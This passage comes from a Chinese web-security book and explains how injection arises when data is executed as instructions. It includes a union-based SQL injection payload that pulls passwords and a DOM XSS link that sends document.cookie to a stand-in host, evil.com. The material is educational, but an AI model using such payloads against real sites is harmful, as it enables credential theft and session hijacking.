Web前端黑客技术揭秘
上QQ阅读APP看本书,新人免费读10天
设备和账号都新为新人

1.1 数据与指令

用浏览器打开一个网站,呈现在我们面前的都是数据,有服务端存储的(如:数据库、内存、文件系统等)、客户端存储的(如:本地Cookies、Flash Cookies等)、传输中的(如:JSON数据、XML数据等),还有文本数据(如:HTML、JavaScript、CSS等)、多媒体数据(如:Flash、MP3等)、图片数据等。

这些数据构成了我们看到的Web世界,它表面丰富多彩,背后却是暗流涌动。在数据流的每一个环节都可能出现安全风险。因为数据流有可能被“污染”,而不像预期的那样存储或传输。

如何存储、传输并呈现出这些数据,这需要执行指令,可以这样理解:指令就是要执行的命令。正是这些指令被解释执行,才产生对应的数据内容,而不同指令的解释执行,由对应的环境完成,比如:

select username,email,desc from users where id=1;

这是一条简单的SQL查询指令,当这条指令被解释执行时,就会产生一组数据,内容由username/email/desc构成,而解释的环境则为数据库引擎。

再如:

<script>
eval(location.hash.substr(1));
</script>

<script></script>标签内的是一句JavaScript指令,由浏览器的JS引擎来解释执行,解释的结果就是数据。而<script></script>本身却是HTML指令(俗称HTML标签),由浏览器DOM引擎进行渲染执行。

如果数据与指令之间能各司其职,那么Web世界就非常太平了。可你见过太平盛世真正存在吗?当正常的数据内容被注入指令内容,在解释的过程中,如果注入的指令能够被独立执行,那么攻击就发生了。

我们来看上面两个例子的攻击场景。

1.SQL注入攻击的发生

select username,email,desc from users where id=1;

下面以MySQL环境为例进行说明,在这条SQL语句中,如果id的值来自用户提交,并且用户是通过访问链接(http://www.foo.com/user.php?id=1)来获取自身的账号信息的。当访问这样的链接时,后端会执行上面这条SQL语句,并返回对应id号的用户数据给前端显示。那么普通用户会规规矩矩地对id提交整型数值,如1、2、3等,而邪恶的攻击者则会提交如下形式的值:

1 union select password,1,1 from users

组成的链接形式为:

http://www.foo.com/user.php?id=1 union select password,1,1 from users

组成的SQL语句为:

    select username,email,desc from users where id=1 union select password,1,1
from users

看到了吗?组成的SQL语句是合法的,一个经典的union查询,此时注入的指令内容就会被当做合法指令执行。当这样的攻击发生时,users表的password就很可能泄漏了。

2.XSS跨站脚本攻击的发生

<script>
eval(location.hash.substr(1));
</script>

将这段代码保存到http://www.foo.com/info.html中。

JavaScript的内置函数eval可以动态执行JavaScript语句,location.hash获取的是链接http://www.foo.com/info.html#callback中的#符号及其后面的内容。substr是字符串截取函数,location.hash.substr(1)表示截取#符号之后的内容,随后给eval函数进行动态执行。

如果攻击者构造出如下链接:

http://www.foo.com/info.html#new%20Image().src="http://www.evil.com/steal.php?c="+escape(document.cookie)

浏览器解释执行后,下面的语句:

eval(location.hash.substr(1));

会变为:

eval('new Image().src="http://www.evil.com/steal.php?c="+escape(document.cookie)')

当被攻击者被诱骗访问了该链接时,Cookies会话信息就会被盗取到黑客的网站上,一般情况下,黑客利用该Cookies可以登录被攻击者的账号,并进行越权操作。由此可以看到,攻击的发生是因为注入了一段恶意的指令,并且该指令能被执行。

题外话:

跨站攻击发生在浏览器客户端,而SQL注入攻击由于针对的对象是数据库,一般情况下,数据库都在服务端,所以SQL注入是发生在服务端的攻击。为什么这里说“一般情况下”,那是因为HTML5提供了一个新的客户端存储机制:在浏览器端,使用SQLite数据库保存客户端数据,该机制允许使用JavaScript脚本操作SQL语句,从而与本地数据库进行交互。